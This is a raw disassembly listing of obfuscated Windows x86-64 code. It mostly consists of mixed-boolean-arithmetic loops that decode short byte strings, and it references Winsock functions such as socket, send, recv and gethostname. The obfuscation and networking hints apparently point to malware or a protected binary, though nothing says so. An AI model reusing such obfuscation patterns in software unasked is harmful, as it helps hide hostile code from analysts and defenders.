and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
dec rbx
inc rbx
jmp 0x140099b02
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009a45a
movabs rcx, 0x5a936c6c1a00b898
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
jmp 0x14009a75a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009a49c
movabs rcx, 0xbdaa3f5543917008
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x38
add r8, r9
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099b02
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009a041
movabs rcx, 0x4a058af9e9d44dc8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
movzx eax, byte [rbp + rbx + 0x948]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099b02
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009a521
movabs rdx, 0x41be9a40d1be1860
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rbp + rbx + 0x948]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099b02
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009a563
movabs rdx, 0x6b0312fc4e703eb0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099b02
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009a596
movabs rdx, 0x3130b8cea191ad90
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14009a75a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009a5c9
movabs rcx, 0x94478bb7cb226500
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
dec rbx
inc rbx
jmp 0x140099b02
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140099ff4
movabs rdx, 0x5a75318a1e43d3e0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x20
add dl, cl
jmp 0x14009a6e1
movabs rdx, 0x20a2d75c716542c0
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, byte [rbp + rbx + 0x948]
sub cl, al
sub dl, 0x40
add dl, cl
add dl, r11b
jmp 0x14009a75a
movabs rcx, 0x83b9aa459af5fa30
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x948]
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x14009a7ba
movabs rcx, 0xc60f6af057648a28
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
jmp 0x14009a7ba
movabs rdx, 0xffe1c51e04431b48
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r8, r9
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099b02
movabs rdx, 0x738679795e003d88
mov ecx, 0x24
jmp 0x14009a6cf
movabs rdx, 0xad58d3a70adecea8
mov ecx, 0x34
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movabs rcx, 0xef176de7dc9ce708
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x38
add cl, r11b
mov byte [rbp + rbx + 0x948], cl
inc r9
dec rbx
inc rbx
jmp 0x140099b02
movabs rcx, 0xe72b2dd4b7bd5fc8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
dec rbx
inc rbx
jmp 0x140099b02
movabs rcx, 0x84145aeb8e2ca858
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
movabs rcx, 0x522e40d1062d9e78
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x48
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x948], cl
add r8, r9
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099b02
mov r11, r10
movabs rdx, 0x5acfe230117a8208
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x38
add dl, cl
movabs rcx, 0xb54513ba2fbe55e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x58
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x948], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xe6d07d2ec486b1a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x60
add r11b, cl
mov byte [rbp + rbx + 0x948], r11b
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x948]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099b02
movabs rcx, 0x94a23c5dbe591328
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x18
movzx eax, byte [rbp + rbx + 0x948]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099b02
movabs rcx, 0xbd6dc9914c17a698
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x28
jmp 0x140099afe
movabs rcx, 0x5a56f6a82286ef28
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
jmp 0x140099ae2
lea rcx, [rbp + 0x15da8e8]
jmp 0x14009a8cd
lea rcx, [rbp + 0x12604a0]
jmp 0x14009a8cd
lea rcx, [rbp + 0x948]
xor r8d, r8d
mov rdx, rdi
call fcn.140036bc0
test al, al
je 0x14009a93f
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
mov edi, dword [r14 + 0x30]
cmp edi, ebx
sete dl
mov dword [rbp - 0x64], 0
mov dword [rbp - 0x60], 0
lea r9, [rbp - 0x64]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003e490
test al, al
je 0x14009a922
mov dword [r14 + 0x30], ebx
cmp edi, ebx
jne 0x14009a92f
call fcn.140014a40
inc ebx
add rsi, 8
cmp ebx, 2
jl 0x14009a8f0
call fcn.140018d80
call fcn.1400408a0
xor r8d, r8d
xor edx, edx
lea rcx, str.Settings
call fcn.140040820
test al, al
je 0x1400a26fd
mov byte [rbp + 0x970], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x971], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x972], Ordinal_41
mov byte [rbp + 0x973], Ordinal_45
mov byte [rbp + 0x974], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x975], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x976], Ordinal_41
mov byte [rbp + 0x977], 0xaf
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x978], xmm0
mov qword [rbp + 0x988], rax
mov word [rbp + 0x990], ax
mov byte [rbp + 0x992], al
movabs rsi, 0xf1986c26182bdd9d
movabs r12, 0x7938052662acc169
movabs r14, 0xd16acbd793cd0403
movabs r15, 0xdefac18ace738131
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x14022e4a8]
mov r8, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14009b58b
movzx r10d, byte [rbp + rdi + 0x970]
mov rbx, r10
nop dword [rax + rax]
cmp r9, rdi
ja 0x14009b57f
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14009aa53
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x21
jmp 0x14009aa90
je 0x14009b4f5
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009b454
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009b3f3
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009b3c9
lea rax, [r8 + 6]
cmp r9, rax
je 0x14009b371
nop dword [rax]
cmp r8, rdi
ja 0x14009b573
lea rax, [r8 + 0x200]
cmp r9, rax
jae 0x14009aac4
lea rcx, [rdi + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4b
jmp 0x14009ab00
lea rax, [r8 + 1]
cmp r9, rax
je 0x14009b34d
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009b323
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009b2ef
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009b2cb
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14009ae19
nop dword [rax]
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x14009adf0
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x14009adbe
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14009ad94
lea rax, [r8 + 8]
cmp r9, rax
je 0x14009ad6c
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009ad43
lea r9, [r8 + 0x1000]
lea r8, [r9 + 0x7a]
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x14009b54e
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14009b529
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14009ac3a
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x14009ac1b
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14009abfc
lea r9, [r8 + 0x40]
lea r8, [r9 + 0x64]
lea rax, [r8 + 9]
cmp r9, rax
ja 0x14009ad0e
lea rax, [r8 + 3]
cmp r9, rax
ja 0x14009ace6
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x14009acc0
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x14009ac87
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x14009ac62
lea r9, [r8 + 6]
lea r8, [r9 + 0x5a]
jmp 0x14009ab10
lea rdx, [rdi + r14]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x15
add r11b, dl
jmp 0x14009ab00
lea rdx, [rdi + r15]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x57
add r11b, dl
jmp 0x14009aa90
movabs rdx, 0xec8ab73e0919fe5f
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x67
add r11b, dl
jmp 0x14009aa15
movabs rcx, 0xc30337fdabf8e1a0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
jmp 0x14009b43c
movabs rdx, 0xd0932db0e69f5ece
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009aa02
movabs rdx, 0xde2323642145dbfc
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14009b476
movabs rdx, 0xebb319175bec592a
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x26
add r11b, dl
jmp 0x14009b4ac
movabs rcx, 0xf9430eca9692d658
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rdi + 0x970]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009aa02
movabs rdx, 0xdfd25fb17ba12666
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14009b43c
movabs rdx, 0xed625564b647a394
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x14009b412
movabs rcx, 0xfaf24b17f0ee20c2
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4e
dec rdi
inc rdi
jmp 0x14009aa02
movabs rdx, 0x88240cb2b949df0
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rdi
inc rdi
jmp 0x14009aa02
movabs rdx, 0x1612367e663b1b1e
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14009b394
lea rax, [r8 + 9]
cmp r9, rax
jae 0x14009aeeb
lea rdx, [rdi + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x21
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 6
je 0x14009b29e
lea rax, [r8 + 9]
cmp r9, rax
jbe 0x14009b00e
movabs rcx, 0xe2593a25832a1605
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x23
cmp r9, 0x5a
jae 0x14009b26d
lea rcx, [r8 + 1]
cmp r9, rcx
jbe 0x14009b155
movabs rdx, 0xd3f1a64b9b55f3a2
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6e
add r11b, dl
cmp r8, 0x200
jb 0x14009b25d
movabs rdx, 0x4c520d4b50d50fd6
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14009b394
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009af32
movabs rdx, 0xe330d84c3057bb3a
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x970]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009aa02
inc rax
cmp r9, rax
jne 0x14009af66
movabs rdx, 0xd5a0e298f5b13e0c
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x54
add r11b, dl
jmp 0x14009b4ac
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14009af97
movabs rcx, 0x9f610bcc0b174954
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
jmp 0x14009b412
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14009afcf
movabs rcx, 0x91d11618d070cc26
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xa
dec rdi
inc rdi
jmp 0x14009aa02
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009ae40
movabs rdx, 0x8441206595ca4ef8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rdi
inc rdi
jmp 0x14009aa02
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009b040
movabs rdx, 0xd4c94472488398d7
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x1f
jmp 0x14009b391
inc rax
cmp r9, rax
jne 0x14009b079
movabs rcx, 0xc7394ebf0ddd1ba9
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x61
inc r8
dec rdi
inc rdi
jmp 0x14009aa02
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009b0b0
movabs rcx, 0xb9a9590bd3369e7b
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5d
dec rdi
inc rdi
jmp 0x14009aa02
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14009b0e2
movabs rcx, 0x9e896da55de9a41f
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x27
jmp 0x14009b43c
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14009b123
movabs rcx, 0x90f977f2234326f1
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x69
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009aa02
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009ae7a
movabs rdx, 0x8369823ee89ca9c3
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x55
jmp 0x14009b476
jne 0x14009b191
movabs rcx, 0xc661b09860af7674
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2c
movzx eax, byte [rbp + rdi + 0x970]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009aa02
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009b1c4
movabs rdx, 0xab41c531eb627c18
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14009b476
lea rax, [rcx + 1]
cmp r9, rax
jne 0x14009b1f6
movabs rcx, 0x9021d9cb761581bc
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x24
jmp 0x14009b43c
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009b22c
movabs rdx, 0x8291e4183b6f048e
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14009b412
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14009aeb4
movabs rcx, 0x59e202fe8b7b8d04
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1c
jmp 0x14009b394
mov byte [rbp + rdi + 0x970], r11b
inc rdi
jmp 0x14009aa02
movabs rdx, 0x3ec21798162e92a8
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x970]
add r11b, r10b
add r11b, dl
jmp 0x14009b412
movabs rdx, 0x313221e4db88157a
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rdi + 0x970]
sub r11b, 0x56
jmp 0x14009b476
movabs rcx, 0x92a8b43f7d9e715b
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7d
jmp 0x14009b479
movabs rcx, 0xa038a9f2b844ee89
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x41
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009aa02
movabs rcx, 0xc8e88b0c68386613
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x7b
dec rdi
inc rdi
jmp 0x14009aa02
movabs rcx, 0xe4087672dd85606f
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 9
jmp 0x14009b394
movabs rdx, 0xff2861d952d25acb
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x73
add r11b, dl
movabs rcx, 0xc58a1271b381d13f
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x47
add r10b, cl
mov byte [rbp + rdi + 0x970], r10b
inc r8
dec rdi
inc rdi
jmp 0x14009aa02
movabs rcx, 0x1a484d3fc81f5527
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x11
dec rdi
inc rdi
jmp 0x14009aa02
movabs rcx, 0x27d842f302c5d255
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x53
movabs rdx, 0xb7fa1cbe78db5411
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x77
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x970], cl
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009aa02
mov r10, rbx
movabs rdx, 0x5088240cb2b949df
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x19
add r11b, dl
movabs rdx, 0xaa6a270b3e34d6e3
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x35
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x970], al
inc r8
add rax, r8
sub rdi, rax
movabs rcx, 0x23a22c31a0e1984c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x14
add r10b, cl
mov byte [rbp + rdi + 0x970], r10b
inc r9
mov rax, r13
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x970]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009aa02
movabs rcx, 0x6ba80f732806443b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x63
movzx eax, byte [rbp + rdi + 0x970]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009aa02
movabs rcx, 0xfa1aacf143c07b8d
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x25
jmp 0x14009aa00
movabs rcx, 0x7aaa2a47e66f8bb
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1d
jmp 0x14009a9f0
lea rcx, [rbp + 0x151fbfc]
jmp 0x14009b592
lea rcx, [rbp + 0x13ebd65]
jmp 0x14009b592
lea rcx, [rbp + 0x970]
call fcn.140036770
lea rdx, [0x140227fa0]
lea rcx, [rbp + 0x238]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x88]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0x998], 0xe6
mov byte [rbp + 0x999], 2
mov byte [rbp + 0x99a], Ordinal_60
mov byte [rbp + 0x99b], reloc.WS2_32.dll_listen
mov byte [rbp + 0x99c], reloc.WS2_32.dll_socket
mov byte [rbp + 0x99d], 0xb5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x99e], xmm0
mov qword [rbp + 0x9ae], rax
mov dword [rbp + 0x9b6], eax
mov byte [rbp + 0x9ba], al
movabs r15, 0x15657d13e6cccf8
movabs r14, 0x2d6c45446c6ea208
movabs r12, 0x76703ce75a4be3d8
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rdx, 0xdc623eba08049268
movabs rcx, 0xdb7e042e89115f18
cmp rdi, 0x23
jae 0x14009c277
movzx ebx, byte [rbp + rdi + 0x998]
nop dword [rax + rax]
cmp r8, rdi
ja 0x14009c26b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009b6c2
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x58
jmp 0x14009b710
je 0x14009c1db
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009c13f
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009c109
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009c0b8
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009c094
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009c03e
nop dword [rax]
cmp r9, rdi
ja 0x14009c25f
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14009b745
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009b790
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009c01a
inc rax
cmp r8, rax
je 0x14009bfee
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009bfda
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009bfb7
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009bf7e
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14009bc8e
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009bc6a
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009bc3e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009bc1a
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009bbf7
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14009bbbf
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009bb9c
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14009bb63
lea r8, [r9 + 6]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14009c237
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14009c214
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009b8fb
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14009b8dd
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14009bac4
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14009ba74
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14009ba46
lea r8, [r9 + 0x20]
lea r9, [r8 + 3]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14009ba0d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14009b9ea
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14009b9b2
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14009b993
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009b96f
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14009b93e
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14009b91a
lea r8, [r9 + 0x80]
lea r9, [r8 + 9]
jmp 0x14009b7a0
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x38
add r10b, dl
jmp 0x14009b790
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009b710
movabs rdx, 0xab2be89f36667c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x40
jmp 0x14009c05d
movabs rdx, 0x53b6b62ce143a990
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009b662
movabs rdx, 0xe5bea572bcfe2d30
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x50
jmp 0x14009c0d8
movabs rcx, 0x2ec29d15aadb6f00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
jmp 0x14009c127
movabs rdx, 0x77c694b898b8b0d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b662
movabs rcx, 0x9ce83fe74733470
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
jmp 0x14009c193
movabs rdx, 0x52d27ba162507640
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
